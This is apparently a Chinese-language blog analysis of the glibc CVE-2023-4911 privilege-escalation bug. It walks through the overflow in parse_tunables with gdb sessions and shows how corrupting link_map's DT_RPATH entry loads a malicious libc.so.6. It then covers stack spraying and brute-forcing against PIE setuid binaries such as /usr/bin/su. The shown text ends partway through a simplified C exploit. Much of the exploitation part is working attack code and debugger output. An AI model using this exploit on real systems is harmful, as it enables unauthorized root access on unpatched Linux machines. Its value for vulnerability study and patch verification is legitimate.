CVE-2023-4911 libc提权漏洞分析

最近libc爆了一个洞:CVE-2023-4911,感觉挺牛逼的,就来分析一波该漏洞,看看利用难度和危害如何。

信息收集

网上能搜到的信息有以下这些:

  • 漏洞详情[1]
  • 在环境glibc 2.35-0ubuntu3 (aarch64) 和 glibc 2.36-9+deb12u2 (amd64)下测试通过的exp[2]

漏洞点

首先我们先通过详情来看看漏洞点,根据漏洞详情中的介绍,该漏洞位于glibc的elf/dl-tunables.c文件中的parse_tunables函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;

char *p = tunestr;
size_t off = 0;

while (true)
{
char *name = p;
size_t len = 0;

/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;

/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}

/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}

p += len + 1;

/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr];
len = 0;

while (p[len] != ':' && p[len] != '\0')
len++;

/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
{
tunable_t *cur = &tunable_list[i];

if (tunable_is_name (cur->name, name))
{
/* If we are in a secure context (AT_SECURE) then ignore the
tunable unless it is explicitly marked as secure. Tunable
values take precedence over their envvar aliases. We write
the tunables that are not SXID_ERASE back to TUNESTR, thus
dropping all SXID_ERASE tunables and any invalid or
unrecognized tunables. */
if (__libc_enable_secure)
{
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
{
if (off > 0)
tunestr[off++] = ':';

const char *n = cur->name;

while (*n != '\0')
tunestr[off++] = *n++;

tunestr[off++] = '=';

for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j];
}

if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break;
}

value[len] = '\0';
tunable_initialize (cur, value);
break;
}
}

if (p[len] != '\0')
p += len + 1;
}
}

调用该函数的代码位于该文件的__tunables_init函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void
__tunables_init (char **envp)
{
char *envname = NULL;
char *envval = NULL;
size_t len = 0;
char **prev_envp = envp;

maybe_enable_malloc_check ();

while ((envp = get_next_env (envp, &envname, &len, &envval,
&prev_envp)) != NULL)
{
#if TUNABLES_FRONTEND == TUNABLES_FRONTEND_valstring
if (tunable_is_name (GLIBC_TUNABLES, envname))
{
char *new_env = tunables_strdup (envname);
if (new_env != NULL)
parse_tunables (new_env + len + 1, envval);
/* Put in the updated envval. */
*prev_envp = new_env;
continue;
}
#endif
......
}

相关代码不是很长,大家自己慢慢读读就能理解了,实在不行就调试一下,我这里就总结一下该漏洞触发的流程。

  1. 匹配环境变量GLIBC_TUNABLES
  2. 该环境变量的值使用tunables_strdup函数,类似strdup函数,就是把字符串放到上,但是因为这个时候libc还没有初始化完成,所以使用的是__minimal_malloc
  3. 接着调用parse_tunables函数来处理GLIBC_TUNABLES环境变量的值。
  4. libc有一个表:tunable_list,可以通过gdb来输出一下这个表的信息。
  5. __libc_enable_secure启用的使用,并且安全等级不是TUNABLE_SECLEVEL_SXID_ERASE的时候,会对环境变量进行一些处理,而这个处理就导致了缓冲区溢出。

为啥会溢出?请仔细阅读parse_tunables函数代码,这里不细说。不过下面给个示例来演示一下溢出的过程,这里有一个要注意的地方,gdb没办法直接调试suid的程序,需要一些小技巧。

写一个中间程序:

1
2
3
4
5
6
7
8
9
10
// a.c
#include <unistd.h>
int main(int argc, char *argv[])
{
char *cmd[] = {"/usr/bin/su", "--help"};
char *envp[] = {"GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"};
execve(cmd[0], cmd, envp);
return 0;
}
// gcc a.c -o a

在编写一个.gdbinit:

1
2
3
4
5
6
$ cat .gdbinit
start
set follow-exec-mode new
dir /usr/src/glibc/glibc-2.35/elf/
b __GI___tunables_init
c

接着就能开始gdb调试了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ gdb a
► 0x7f43e9d6c560 <__GI___tunables_init> endbr64
# 接着找到tunables_strdup函数中__minimal_malloc的位置,找到申请的内存地址
pwndbg> b *(__GI___tunables_init+511)
pwndbg> c
► 0x7f43e9d6c75f <__GI___tunables_init+511> call __minimal_malloc <__minimal_malloc>
rdi: 0x3a
pwndbg> ni
*RAX 0x7f43e9d902e0 ◂— 0x0
# 然后断点下到parse_tunables
pwndbg> b parse_tunables
pwndbg> c
pwndbg> x/4s 0x7f43e9d902e0
0x7f43e9d902e0: "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"
0x7f43e9d90319: ""
0x7f43e9d9031a: ""
0x7f43e9d9031b: ""
# 确认一下__libc_enable_secure = 1
pwndbg> p __libc_enable_secure
$1 = 1
# 接着找到parse_tunables结束的代码
pwndbg> b *(__GI___tunables_init+729)
pwndbg> c
pwndbg> x/4s 0x7f43e9d902e0
0x7f43e9d902e0: "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A:glibc.malloc.mxfast=A:glibc.malloc.mxfast=u:glibc.malloc.mxfast=" # 缓冲区溢出
0x7f43e9d9035a: ""
0x7f43e9d9035b: ""
0x7f43e9d9035c: ""

利用条件

先来说说该漏洞利用的一些前置条件,通过parse_tunables函数的代码,可以发现,只有当__libc_enable_secure == 1的情况下,才会进入有漏洞的分支,那么什么情况下__libc_enable_secure=1呢?

翻了翻libc的代码,发现:

1
2
3
4
5
6
7
void
__libc_init_secure (void)
{
if (__libc_enable_secure_decided == 0)
__libc_enable_secure = (startup_geteuid () != startup_getuid ()
|| startup_getegid () != startup_getgid ());
}

也就是说,只有当运行suid/sgid程序时,__libc_enable_secure才会等于1,如下所示:

1
2
3
4
5
6
7
8
9
10
11
$ id
uid=1000(ubuntu) gid=1000(ubuntu)
$ ls -alF /usr/bin/su
-rwsr-xr-x 1 root root 55672 Feb 21 2022 /usr/bin/su*
# su程序的__libc_enable_secure=1
$ ls -alF test1
-rwsrwsr-x 1 www-data www-data 17224 Oct 13 22:06 test1*
# 运行test1程序,__libc_enable_secure也等于1
$ ls -alF test2
-rwsrwsr-x 1 ubuntu ubuntu 17224 Oct 13 22:06 test2*
# 运行test2程序,__libc_enable_secure等于0

也就是说,该漏洞的作用其实是用来越权,但是从一个受限用户越权到另一个受限用户,并没有什么用,还不如干脆从普通用户越权到root用户,达到提权的效果。所以该漏洞的最后利用思路就是用来提权,本质上就是去溢出(PWN) 一个有root权限的程序,所以和内核提权的漏洞还是有一定区别的。

再加上,该漏洞的输入点位于环境变量,所以该漏洞也就只能用来提权了。

漏洞利用

首先,我想说一下该部分的内容,在我完全理解漏洞发现者的利用思路后,我发现glibc的代码量还是非常大的,我目前也做不到对glibc的每个细节都了如指掌,所以暂时也没想到比该利用思路更完美的方法,下面内容只是分享一下我对该利用思路的研究过程和理解。

  1. 首先,简单的浏览了一下这个exp,发现下面的代码:
1
2
3
4
with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
fh.write(libc_e.d[0:__libc_start_main])
fh.write(shellcode)
fh.write(libc_e.d[__libc_start_main + len(shellcode) :])

然后就猜测了一下,因为漏洞是发生在ld加载程序中,所以可能替换掉libc的加载路径,就能加载进自己修改过的恶意libc,而libc加载程序的起始函数是__libc_start_main函数,所以把这部分的代码替换成自己要执行的shellcode,那么运行该程序就会首先执行我们的恶意shellcode。

接下来就是开始研究该漏洞是如何替换掉libc的加载路径的。

  1. 在相应的环境上运行了一下,ASLR开启的情况下,exp不是一次就能成功的,ASLR关闭的情况下没利用成功,暂且不管。

  2. 再看了看利用代码,发现只有一个stack_top是地址,表示栈顶地址,而且经过计算后,最后的exp中,该地址是一个定值,不会发现变化,我对这种利用方式非常好奇,觉得这有点牛逼啊,只要覆盖一个栈地址,就能替换调用libc加载路径,这可太神奇了。

  3. 我花了点时间去一步步调试,最后理解清楚该利用思路了,为了节省大家时间,这里用一个demo,然后缩减exp的内容,来帮助大家利用该利用思路。

首先写一个测试程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
// test.c
#include <stdio.h>

unsigned long ptr = -0x18ULL;

int main(int argc, char *argv[])
{
printf("Hello World.");
return 0;
}
// gcc test.c -g -no-pie -o test
// ls -alF test
// -rwsrwsr-x 1 root root 17224 Oct 13 22:06 test*

我们设置的第一个环境变量为:

1
2
3
4
5
6
7
char fill[0xd00];
strcpy(fill, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(fill1); i < (0xd00 - 1); i++)
{
fill[i] = 'A';
}
fill[0xd00 - 1] = '\0';

这部分将会调用__minimal_malloc(0xd00 + 1),这个时候的内存信息如下:

1
2
3
4
5
6
7
RAX  0x7f4109f8f2e0 ◂— 0x0     # malloc的返回值
pwndbg> vmmap
0x7f4109f8c000 0x7f4109f90000 rw-p 4000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
> hex(0x7f4109f8f2e0 + 0xd01)
'0x7f4109f8ffe1'
> hex(0x7f4109f90000 - 0x7f4109f8ffe1)
'0x1f'

也就是说,这部分内存区域只剩下0x1f字节了,如果后续还要调用malloc,那么则会通过mmap申请一段新内存区域。

第一部分不会触发溢出漏洞(如果触发了就超出地址范围了)。

设置的第二部分环境变量为:

1
2
3
4
5
6
7
8
9
#define PAYLOAD_SIZE 0x100
char payload[PAYLOAD_SIZE];

strcpy(payload, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
for (int i = strlen(payload); i < PAYLOAD_SIZE - 1; i++)
{
payload[i] = 'B';
}
payload[PAYLOAD_SIZE - 1] = '\0';

第二部分将会调用__minimal_malloc(0x100 + 1),这个时候的内存信息如下:

1
2
3
4
5
*RAX  0x7f4109f52000 ◂— 0x0     # malloc的返回值
pwndbg> vmmap
0x7f4109f52000 0x7f4109f54000 rw-p 2000 0 [anon_7f4109f52]
> hex(0x7f4109f52000 + 0x100)
'0x7f4109f52100'

如果我们构造的代码到此为止,那么下一次ld获取内存是位于_dl_new_object函数中,调用__minimal_calloc函数,调试情况如下所示:

1
2
3
4
5
pwndbg> b *(_dl_new_object+109)
pwndbg> c
0x7f4908e899fd <_dl_new_object+109> call qword ptr [rip + 0x2c06d] <__minimal_calloc>
pwndbg> ni
*RAX 0x7f4908e74c40 ◂— 0x0

调用_dl_new_object是为了给struct link_map结构体申请内存,所以可以查看一下该结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> b *(_dl_new_object+115)
pwndbg> c
0x7ffaa8c249fd <_dl_new_object+109>: call QWORD PTR [rip+0x2c06d] # 0x7ffaa8c50a70 <__rtld_calloc> # __minimal_calloc
=> 0x7ffaa8c24a03 <_dl_new_object+115>: mov r14,rax
pwndbg> p *((struct link_map *) $rax)
$1 = {
l_addr = 4774451407232463713,
l_name = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>,
l_ld = 0x4242424242424242,
l_next = 0x4242424242424242,
l_prev = 0x4242424242424242,
l_real = 0x4242424242424242,
l_ns = 4774451407313060418,
l_libname = 0x4242424242424242,
l_info = {0x4242424242424242 <repeats 17 times>, 0x696c673a42424242, 0x6f6c6c616d2e6362, 0x74736166786d2e63, 0x3d, 0x0 <repeats 24 times>, 0x2e6362696c673a00, 0x6d2e636f6c6c616d, 0x3d7473616678, 0x0 <repeats 29 times>},

这个发现,我们可以成功覆盖struct link_map结构体,所以可以有个思路就是,通过覆盖该结构体的某个指针来达到命令执行的目的,而这需要都glibc的代码非常熟悉,加上调试测试,才可能找到一个利用链。

而漏洞发现者找到的利用链,利用到了link_map->l_info[DT_RPATH]成员变量,相关代码位于elf/dl-load.c文件的_dl_init_paths函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void
_dl_init_paths (const char *llp, const char *source,
const char *glibc_hwcaps_prepend,
const char *glibc_hwcaps_mask)
{
......
if (l->l_info[DT_RPATH])
{
/* Allocate room for the search path and fill in information
from RPATH. */
decompose_rpath (&l->l_rpath_dirs,
(const void *) (D_PTR (l, l_info[DT_STRTAB])
+ l->l_info[DT_RPATH]->d_un.d_val),
l, "RPATH");
/* During rtld init the memory is allocated by the stub
malloc, prevent any attempt to free it by the normal
malloc. */
l->l_rpath_dirs.malloced = 0;
}
else
l->l_rpath_dirs.dirs = (void *) -1;
}
......

关于DT_RPATH的用法,可以Google搜索一下:

libcrce1

简单来说,DT_RPATH的值是一个偏移值,如果设置了该值,那么就会在执行的程序的DT_STRTAB表中搜索字符串作为libc的搜索路径。

这么来说,我们的利用利用链产生了,我们通过内存溢出,设置link_map->l_info[DT_RPATH],从而控制libc库加载的搜索路径,加载恶意的libc.so来达到命令执行目的。

我们来简单测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
pwndbg> x/10gx 0x404028
0x404028: 0x0000000000000000 0xffffffffffffffe8 # 这个就是我们test.c代码中设置的unsigned long ptr = -0x18ULL;
0x404038 <completed.0>: 0x0000000000000000 0x0000000000000000
0x404048: 0x0000000000000000 0x0000000000000000
0x404058: 0x0000000000000000 0x0000000000000000
pwndbg> b *(_dl_init_paths+669)
pwndbg> c
► 0x7f8596e999ad <_dl_init_paths+669> mov rax, qword ptr [rbx + 0xb8] // l->l_info[DT_RPATH] = [rbx + 0xb8]
0x7f8596e999b4 <_dl_init_paths+676> mov qword ptr [rbx + 0x3c0], -1
0x7f8596e999bf <_dl_init_paths+687> test rax, rax
0x7f8596e999c2 <_dl_init_paths+690> je _dl_init_paths+949 <_dl_init_paths+949>
────────[ SOURCE (CODE) ]─────────
In file: /usr/src/glibc/glibc-2.35/elf/dl-load.c
804 else
805 {
806 l->l_runpath_dirs.dirs = (void *) -1;
807
► 808 if (l->l_info[DT_RPATH])
809 {
810 /* Allocate room for the search path and fill in information
811 from RPATH. */
812 decompose_rpath (&l->l_rpath_dirs,
813 (const void *) (D_PTR (l, l_info[DT_STRTAB])
pwndbg> x/gx $rbx + 0xb8
0x7fb757376398: 0x0000000000000000
pwndbg> set *0x7fb757376398=0x404028
pwndbg> p ((struct link_map *) $rbx)->l_info[15]
$4 = (Elf64_Dyn *) 0x404028
pwndbg> b *(_dl_init_paths+718)
pwndbg> c
► 0x7fb7573439de <_dl_init_paths+718> add rsi, qword ptr [rax + 8] <ptr>
0x7fb7573439e2 <_dl_init_paths+722> lea rdi, [rbx + 0x330]
0x7fb7573439e9 <_dl_init_paths+729> lea rcx, [rip + 0x253c8]
0x7fb7573439f0 <_dl_init_paths+736> add rsi, rdx
0x7fb7573439f3 <_dl_init_paths+739> mov rdx, rbx
0x7fb7573439f6 <_dl_init_paths+742> call decompose_rpath <decompose_rpath>
────────[ SOURCE (CODE) ]─────────
In file: /usr/src/glibc/glibc-2.35/elf/dl-load.c
809 {
810 /* Allocate room for the search path and fill in information
811 from RPATH. */
812 decompose_rpath (&l->l_rpath_dirs,
813 (const void *) (D_PTR (l, l_info[DT_STRTAB])
► 814 + l->l_info[DT_RPATH]->d_un.d_val),
815 l, "RPATH");

pwndbg> b *(_dl_init_paths+742)
pwndbg> c
► 0x7fb7573439f6 <_dl_init_paths+742> call decompose_rpath <decompose_rpath>
rdi: 0x7fb757376610 ◂— 0x0
rsi: 0x400418 ◂— 0x200000003b /* ';' */
rdx: 0x7fb7573762e0 ◂— 0x0
rcx: 0x7fb757368db8 ◂— 0x3b3a004854415052 /* 'RPATH' */

路径就是decompose_rpath的第二个参数,是一个0x400418指针,指向”;”字符串,那么该值是如何算出来的?STRTAB地址为0x400430,我们设置的l->l_info[DT_RPATH]->d_un.d_val = -0x18,两者相加,就等于0x400418。接着继续调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 执行完decompose_rpath后,查看link_map结构体
pwndbg> p **(((struct link_map *) $rbx)->l_rpath_dirs->dirs)
$7 = {
next = 0x7f33ac209000,
what = 0x7f33ac238db8 "RPATH",
where = 0x7f33ac2091bb "",
dirname = 0x7f33ac2091b8 ";/", # 成设置了libc搜索路径
dirnamelen = 2,
status = 0x7f33ac209198
}
pwndbg> b open_verify
Breakpoint 4 at 0x7f33ac211940 (2 locations)
pwndbg> c
*RDI 0x7fff0b17b0a0 ◂— ';/tls/x86_64/x86_64/libc.so.6'
# 这里可以一直按c,查看rdi寄存器,最简单的路径如下
*RDI 0x7fff0b17b0a0 ◂— ';/libc.so.6'
# 接着就可以关闭断点,继续执行了,就可以得到shell了,如果执行失败了,那是因为你可能没创建';/libc.so.6'文件
pwndbg> c
$ id
uid=1000(ubuntu) gid=1000(ubuntu)

由于是使用gdb进行调试,所以没能获得root权限,但是无所谓,流程我们走通了,就可以下一步了。

我们该如何覆盖到link_map->l_info[DT_RPATH]结构,我们已知,在执行完__tunables_init函数后,下一次申请内存地址就是在_dl_new_object函数,也就是说,我们要覆盖的地址和我们溢出的内存是相邻的。

也就是要溢出覆盖到之后0xb8地址 ,并且其他位建议覆盖成\\0,防止其他检查导致报错。

我研究出一种简单的方法:

  1. 我们断点下在_dl_new_object函数的calloc处,也就是_dl_new_object+109,方便调试,查看内存布局
  2. exp.c中,envp[0] = fill1;用来填充旧的内存区域,envp[1] = payload;用来进行内存溢出。

因此之后要留有一部分区域置0,直到设置到\xb8:

1
2
3
4
for (int i=2;i<ENVP_SIZE-1;i++)
envp[i] = "";
envp[0x20 + 0xb8] = "\x28\x40\x40";
# payload的长度随便设置,暂时挑了个0x100

接着调试,看看我们这样的布局能溢出成怎样的内存布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> b *(_dl_new_object+109)
pwndbg> c
pwndbg> vmmap
0x7fca03d3c000 0x7fca03d3e000 rw-p 2000 0 [anon_7fca03d3c]
pwndbg> x/64gx 0x7fca03d3c000 + 0x100
......
0x7fca03d3c1f0: 0x000000000000003d 0x0000000000000000
0x7fca03d3c200: 0x0000000000000000 0x0000000000000000
0x7fca03d3c210: 0x0000000000000000 0x0000000000000000
0x7fca03d3c220: 0x0000000000000000 0x0000000000000000
0x7fca03d3c230: 0x0000000000000000 0x0000000000000000
0x7fca03d3c240: 0x0000000000000000 0x0000000000000000
0x7fca03d3c250: 0x0000000000000000 0x0000000000000000
0x7fca03d3c260: 0x0000000000000000 0x0000000000000000
0x7fca03d3c270: 0x0000000000000000 0x0000000000000000
0x7fca03d3c280: 0x0000000000000000 0x0000000000000000
0x7fca03d3c290: 0x0000000000000000 0x0000000000000000
0x7fca03d3c2a0: 0x0000000000000000 0x0000000000000000
0x7fca03d3c2b0: 0x0000404028000000 0x2e6362696c673a00
0x7fca03d3c2c0: 0x6d2e636f6c6c616d 0x00003d7473616678
0x7fca03d3c2d0: 0x0000000000000000 0x0000000000000000
0x7fca03d3c2e0: 0x0000000000000000 0x0000000000000000
0x7fca03d3c2f0: 0x0000000000000000 0x0000000000000000

我们覆盖的值为0x404028,从上面可以看出该值的地址为: 0x7fca03d3c2b3,计算一下:

1
2
3
>>> hex(0x7fca03d3c2b3 - 0x7fca03d3c1f8)
'0xbb'
# 发现大于0xb8

从这可以得知link_map结构体的前部分结构应该没啥问题,但是问题在于后部:

1
2
3
4
5
6
7
8
9
10
pwndbg> x/6gx 0x7fca03d3c2b3
0x7fca03d3c2b3: 0x673a000000404028 0x6c616d2e6362696c
0x7fca03d3c2c3: 0x6166786d2e636f6c 0x00000000003d7473
0x7fca03d3c2d3: 0x0000000000000000 0x0000000000000000
pwndbg> x/5s 0x7fca03d3c2b3
0x7fca03d3c2b3: "(@@"
0x7fca03d3c2b7: ""
0x7fca03d3c2b8: ""
0x7fca03d3c2b9: ":glibc.malloc.mxfast="
0x7fca03d3c2cf: ""

受漏洞点的限制,溢出的结尾必定有:xxxxx=字符,我们要做的就是让该字符,离link_map结构远一点,或者该部分区域会在ld中进行设置。

想要精细的调整,需要去研究哪些结构可以不置0,但是我觉得没必要这么精细,只需要调整payload的长度,和envp[0x20 + 0xb8]前部分这个偏移值,让:xxxxx=字符串不影响到我们覆盖的地址就行。先这么用着,如果遇到报错,则继续调整,这样我们就没必要继续阅读libc源码了。

当我把payload的大小调整为0x200时,这个时候的内存布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> vmmap
0x7f94440ce000 0x7f94440d0000 rw-p 2000 0 [anon_7f94440ce]
pwndbg> x/2gx 0x7f94440ce000 + 0x200
0x7f94440ce200: 0x616d2e6362696c67 0x66786d2e636f6c6c
pwndbg> x/8gx 0x7f94440ce4b3
0x7f94440ce4b3: 0x0000000000404028 0x0000000000000000
0x7f94440ce4c3: 0x0000000000000000 0x0000000000000000
0x7f94440ce4d3: 0x0000000000000000 0x0000000000000000
0x7f94440ce4e3: 0x0000000000000000 0x0000000000000000
pwndbg> x/32gx 0x7f94440ce4b3 - 0xb8
0x7f94440ce3fb: 0x0000000000000000 0x0000000000000000
0x7f94440ce40b: 0x0000000000000000 0x0000000000000000
0x7f94440ce41b: 0x0000000000000000 0x0000000000000000
0x7f94440ce42b: 0x0000000000000000 0x0000000000000000
0x7f94440ce43b: 0x0000000000000000 0x0000000000000000
0x7f94440ce44b: 0x0000000000000000 0x0000000000000000
0x7f94440ce45b: 0x0000000000000000 0x0000000000000000
0x7f94440ce46b: 0x0000000000000000 0x0000000000000000
0x7f94440ce47b: 0x0000000000000000 0x0000000000000000
0x7f94440ce48b: 0x0000000000000000 0x0000000000000000
0x7f94440ce49b: 0x0000000000000000 0x0000000000000000
0x7f94440ce4ab: 0x0000000000000000 0x0000000000404028

看着我们构造的link_map结构是没问题了,但是怎么让link_map申请的内存段为我们设置好的这段呢?我们先算一下,我们需要让link_map = 0x7f94440ce3fb,那么:

1
2
>>> hex(0x7f94440ce3fb - 0x7f94440ce200)
'0x1fb'

中间这0x1fb字节需要被填充。另外需要考虑对齐的问题,堆分配到的地址不可能结尾地址为0xfb,所以还需要微调一下:envp[0x25 + 0xb8] = "\x28\x40\x40";

再看一下内存结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> vmmap
0x7f52386a6000 0x7f52386a8000 rw-p 2000 0 [anon_7f52386a6]
pwndbg> x/2gx 0x7f52386a6000 + 0x200
0x7f52386a6000: 0x616d2e6362696c67 0x66786d2e636f6c6c
pwndbg> x/2gx 0x7f52386a64b8
0x7f52386a64b8: 0x0000000000404028 0x0000000000000000
pwndbg> x/32gx 0x7f52386a64b8 - 0xb8
0x7f52386a6400: 0x0000000000000000 0x0000000000000000
0x7f52386a6410: 0x0000000000000000 0x0000000000000000
0x7f52386a6420: 0x0000000000000000 0x0000000000000000
0x7f52386a6430: 0x0000000000000000 0x0000000000000000
0x7f52386a6440: 0x0000000000000000 0x0000000000000000
0x7f52386a6450: 0x0000000000000000 0x0000000000000000
0x7f52386a6460: 0x0000000000000000 0x0000000000000000
0x7f52386a6470: 0x0000000000000000 0x0000000000000000
0x7f52386a6480: 0x0000000000000000 0x0000000000000000
0x7f52386a6490: 0x0000000000000000 0x0000000000000000
0x7f52386a64a0: 0x0000000000000000 0x0000000000000000
0x7f52386a64b0: 0x0000000000000000 0x0000000000404028
0x7f52386a64c0: 0x0000000000000000 0x0000000000000000
0x7f52386a64d0: 0x0000000000000000 0x0000000000000000
0x7f52386a64e0: 0x0000000000000000 0x0000000000000000
0x7f52386a64f0: 0x0000000000000000 0x0000000000000000
>>> hex(0x7f52386a6400 - 0x7f52386a6200 - 0x10)
'0x1F0'
# 减去0x10是因为payload长度为0x200,实际malloc申请的是0x201,再加上偏移,所以下一个堆其实地址应该是+0x210

这样,我们就需要在前面填充0x1F0字节了,那怎么填充呢?可以利用开头填充上一块堆的思路。

1
2
3
4
5
6
7
8
9
#define PADDING_SIZE 0x1F0
char padding[PADDING_SIZE-3];
strcpy(padding, "GLIBC_TUNABLES=");
for (int i = strlen(padding); i < (PADDING_SIZE - 4); i++)
{
padding[i] = 'D';
}
padding[PADDING_SIZE - 4] = '\0';
envp[ENVP_SIZE-2] = padding;

调试看看:

1
2
3
4
pwndbg> b *(_dl_new_object+115)
pwndbg> c
pwndbg> p ((struct link_map *) $rax)->l_info[15]
$2 = (Elf64_Dyn *) 0x404028

内存布局没问题,这个时候就删除断点直接运行试试。发现成功执行命令,接着就是退出gdb,直接执行我们的exp程序,成功获取到root权限。

结合实际

前面的内容帮我们把利用思路都给梳理好了,但是和实际还是有差距的,因为在实际环境中,不存在一个test程序, 这个我们测试用的test程序是没有开PIE的,所以我们写入0x404028地址,可以稳定触发。

在ubuntu实际的程序中,我找了找,所有suid的程序都开启了PIE,也就是说,我们没有一个已知地址。我又看了看内存布局,在执行ld代码的时候,内存布局大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> vmmap
0x55985479c000 0x55985479e000 r--p 2000 0 /usr/sbin/unix_chkpwd
0x55985479e000 0x5598547a1000 r-xp 3000 2000 /usr/sbin/unix_chkpwd
0x5598547a1000 0x5598547a2000 r--p 1000 5000 /usr/sbin/unix_chkpwd
0x5598547a2000 0x5598547a4000 rw-p 2000 5000 /usr/sbin/unix_chkpwd
0x7faf282aa000 0x7faf282ac000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7faf282ac000 0x7faf282d6000 r-xp 2a000 2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7faf282d6000 0x7faf282e1000 r--p b000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7faf282e2000 0x7faf282e6000 rw-p 4000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffd042d5000 0x7ffd042f6000 rw-p 21000 0 [stack]
0x7ffd0439e000 0x7ffd043a2000 r--p 4000 0 [vvar]
0x7ffd043a2000 0x7ffd043a4000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]

我们只能确定vsyscall地址,但是很抱歉,该地址没有可读权限,所以没办法利用。在没有已知地址的情况下,这个时候能想到的只有内存Spray了,比较合适的是Stack Spray。

所以考虑通过环境变量来在栈上填充-0x14UL,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
#define STACK_SIZE 0x20000
char stack_spray[STACK_SIZE];
for (int i = 0; i < STACK_SIZE; i += 8)
{
*(uintptr_t *)(stack_spray + i) = -0x14ULL;
}
stack_spray[STACK_SIZE - 1] = '\0';

for (int i = 0; i < 0x2F; i++)
{
envp[0x180 + i] = stack_spray;
}

一般情况下可能会报错:execve("/usr/bin/su", ["/usr/bin/su", "--help"], 0x7fff64f33a50 /* 499 vars */) = -1 E2BIG (Argument list too long)

可以在execve前调用一下下面代码,可以让缓冲区扩大到:0x20000 * 0x2F:

1
2
3
4
5
struct rlimit rlim = {RLIM_INFINITY, RLIM_INFINITY};
if (setrlimit(RLIMIT_STACK, &rlim) < 0)
{
perror("setrlimit");
}

剩下的就是定一个栈地址,接着就是听天由命的爆破了。

相关代码

最后贴一下简化版的相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <sys/resource.h>
#include <stdio.h>
#include <time.h>
#include <sys/wait.h>


#define ENVP_SIZE 600
#define PADDING_SIZE 0x1F0
#define STACK_SIZE 0x20000

int64_t time_us()
{
struct timespec tms;

/* POSIX.1-2008 way */
if (clock_gettime(CLOCK_REALTIME, &tms))
{
return -1;
}
/* seconds, multiplied with 1 million */
int64_t micros = tms.tv_sec * 1000000;
/* Add full microseconds */
micros += tms.tv_nsec / 1000;
/* round up if necessary */
if (tms.tv_nsec % 1000 >= 500)
{
++micros;
}
return micros;
}

int main(int argc, char *argv[])
{
// char *nargv[] = {"/home/hehe/Documents/libc-exp/test", NULL};
char *nargv[] = {"/usr/bin/su", "--help", 0};
char *envp[ENVP_SIZE] = {0, };
char fill1[0xd00];
char payload[0x200];
char padding[PADDING_SIZE-3];
char stack_spray[STACK_SIZE];

strcpy(fill1, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(fill1); i < sizeof(fill1) - 1; i++)
{
fill1[i] = 'A';
}
fill1[sizeof(fill1) - 1] = '\0';

strcpy(payload, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
for (int i = strlen(payload); i < sizeof(payload) - 1; i++)
{
payload[i] = 'B';
}
payload[sizeof(payload) - 1] = '\0';

strcpy(padding, "GLIBC_TUNABLES=");
